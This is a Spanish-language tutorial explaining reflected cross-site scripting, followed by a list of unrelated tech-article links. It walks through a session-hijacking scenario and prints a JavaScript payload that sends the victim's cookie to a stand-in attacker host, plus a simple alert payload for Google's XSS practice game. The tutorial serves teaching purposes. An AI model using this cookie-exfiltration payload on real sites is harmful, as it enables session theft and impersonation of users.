Web7: Explotaciones XSS - Parte 1: XSS reflejado

¿Qué son las secuencias de comandos entre sitios?

Cross-Site Scripting (XSS) es una de las técnicas de ataque más populares en la actualidad, conocida como el padrino del ataque, y durante muchos años ha figurado como la técnica de ataque más peligrosa para las aplicaciones web.

No lo llamemos CSS para evitar confusiones con el concepto de hoja de estilo en cascada de HTML.
La técnica
XSS se basa en insertar scripts peligrosos en el código fuente de la aplicación web. Ejecutar código Javascript malicioso para hacerse cargo de la sesión de inicio de sesión del usuario.

Para entender mejor, consideremos el siguiente ejemplo. Una aplicación web que permite imprimir el valor que pasamos a través de la URL, asumiendo que pasamos en la variable nombre el valor de Ping:

Web7: Explotaciones XSS - Parte 1: XSS reflejado

Todo está bien hasta ahora, revisemos el código fuente html:

Web7: Explotaciones XSS - Parte 1: XSS reflejado

Lo que es fácil de ver es que el valor del nombre que ingresamos se insertó en el código fuente. Por lo tanto, es posible que todo lo que se importe también se pueda insertar. El problema se vuelve grave si el valor ingresado no es una cadena normal como la anterior sino un fragmento de código potencialmente peligroso, algo como esto:

 

Intente nuevamente con el valor anterior:

Web7: Explotaciones XSS - Parte 1: XSS reflejado

De este ejemplo podemos concluir dos cosas. Primero, la variable de nombre puede recibir cualquier valor de entrada y transmitirlo al servidor para su procesamiento. En segundo lugar, el servidor no controló este valor de entrada antes de devolverlo al navegador. Esto lleva a que el código javascript se inserte en el código fuente.

XSS generalmente se divide en 3 tipos principales: reflejado, almacenado y basado en DOM. En este artículo mencionaré principalmente la técnica XSS reflejada.

Hasta el 75% de las técnicas XSS se basan en Reflected XSS. Se llama reflejado porque en este tipo de escenario de explotación, el hacker debe enviar a la víctima una URL que contiene código malicioso (normalmente javascript). La víctima sólo necesita solicitar esta URL y el hacker recibirá inmediatamente una respuesta que contiene el resultado deseado (aquí se muestra la reflexividad). Además, también se le conoce como XSS de primer orden.

Escenario minero de la vida real

Hay muchas formas de explotar el error XSS reflejado, una de las más conocidas es hacerse cargo de la sesión del usuario, accediendo así a los datos y obteniendo sus derechos en el sitio web.

Los detalles se describen en los siguientes pasos:

Web7: Explotaciones XSS - Parte 1: XSS reflejado

1. El usuario inicia sesión en la web y asume que tiene asignada una sesión:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. De alguna manera, el hacker envía al usuario la URL:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Supongamos que example.com es el sitio web que visita la víctima, hacker-site.net es el sitio creado por el hacker.

3. La víctima accede a la URL anterior.

4. El servidor responde a la víctima, junto con los datos contenidos en la solicitud (el fragmento de javascript del hacker)

5. El navegador de la víctima recibe la respuesta y ejecuta el javascript.

6. El javascript real que creó el hacker es el siguiente:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

La línea de comando anterior esencialmente realiza una solicitud al sitio del hacker con el parámetro siendo la cookie del usuario:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Desde su sitio, el pirata informático captará el contenido de la solicitud anterior y considerará que la sesión del usuario ha sido asumida. En este punto, el hacker puede hacerse pasar por la víctima y ejercer todos los derechos sobre el sitio web que tiene la víctima.

Práctica

Google ha creado una página para practicar la explotación de errores XSS aquí: https://xss-game.appspot.com

El objetivo de estos desafíos es que debes inyectar scripts para que aparezca una ventana emergente. El primer desafío es ilustrar la técnica reflejada, el código de explotación es bastante simple:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

¡Buena suerte!

Dejar un comentario

Cómo eliminar el aviso de solicitud de derechos de autor en la esquina derecha de la pantalla en Windows 10

Cómo eliminar el aviso de solicitud de derechos de autor en la esquina derecha de la pantalla en Windows 10

¿Ves una notificación de activación de Windows 10 en la esquina derecha de la pantalla? Este artículo le guiará sobre cómo eliminar el aviso de solicitud de derechos de autor en Windows 10.

Instrucciones de AZ sobre cómo instalar Windows 10 compilación 14393.222

Instrucciones de AZ sobre cómo instalar Windows 10 compilación 14393.222

Recientemente, Microsoft lanzó la última actualización acumulativa para usuarios de PC con Windows 10 llamada Build 14393.222. Esta actualización lanzada para Windows 10 corrige principalmente errores basados ​​en los comentarios de los usuarios y mejora la experiencia de rendimiento del sistema operativo.

Proteja su red informática con Bastion host en solo 3 pasos

Proteja su red informática con Bastion host en solo 3 pasos

¿Tiene computadoras en su red local que necesitan acceso externo? Usar un host bastión como guardián de su red puede ser una buena solución.

3 formas de borrar rápidamente todos los registros de eventos en Windows 10

3 formas de borrar rápidamente todos los registros de eventos en Windows 10

A veces es posible que necesites eliminar todos los registros de eventos antiguos a la vez. En esta guía, Quantrimang.com le mostrará 3 formas de eliminar rápidamente todos los registros de eventos en el Visor de eventos de Windows 10.

Cómo crear una tecla de Windows si tu teclado no está disponible

Cómo crear una tecla de Windows si tu teclado no está disponible

Si prefiere usar un teclado clásico antiguo, como el IBM Modelo M, que no incluye una tecla física de Windows, existe un método sencillo para agregar más, tomando prestada una tecla que no usa con frecuencia.

Cómo crear un modo de fondo transparente en Windows 10

Cómo crear un modo de fondo transparente en Windows 10

WindowTop es una herramienta que tiene la capacidad de atenuar todas las ventanas de aplicaciones y programas que se ejecutan en computadoras con Windows 10. O puede usar una interfaz de fondo oscuro en Windows.

Los métodos de IP falsos te ayudan a acceder de forma anónima

Los métodos de IP falsos te ayudan a acceder de forma anónima

En muchos artículos anteriores hemos mencionado que permanecer anónimo en línea es extremadamente importante. Cada año se filtra información privada, lo que hace que la seguridad en línea sea cada vez más necesaria. Esa es también la razón por la que deberíamos utilizar direcciones IP virtuales. ¡A continuación, aprenderemos sobre métodos para crear IP falsas!

Cómo desactivar la barra de idioma en la barra de tareas de Windows 8

Cómo desactivar la barra de idioma en la barra de tareas de Windows 8

La barra de idioma en Windows 8 es una barra de herramientas de idioma en miniatura diseñada para mostrarse automáticamente en la pantalla del escritorio. Sin embargo, mucha gente quiere ocultar esta barra de idioma en la barra de tareas.

Consejos para optimizar la velocidad de conexión a Internet de Linksys

Consejos para optimizar la velocidad de conexión a Internet de Linksys

Maximizar la velocidad de Internet es esencial para optimizar su conexión de red. Podrás tener una óptima experiencia de entretenimiento y trabajo utilizando computadoras, televisores con acceso a Internet, consolas de juegos, etc.

Cómo configurar WEP, WPA, WPA2 para el enrutador Linksys

Cómo configurar WEP, WPA, WPA2 para el enrutador Linksys

La conectividad inalámbrica es una necesidad hoy en día y, por eso, la seguridad inalámbrica es esencial para garantizar la seguridad en su red interna.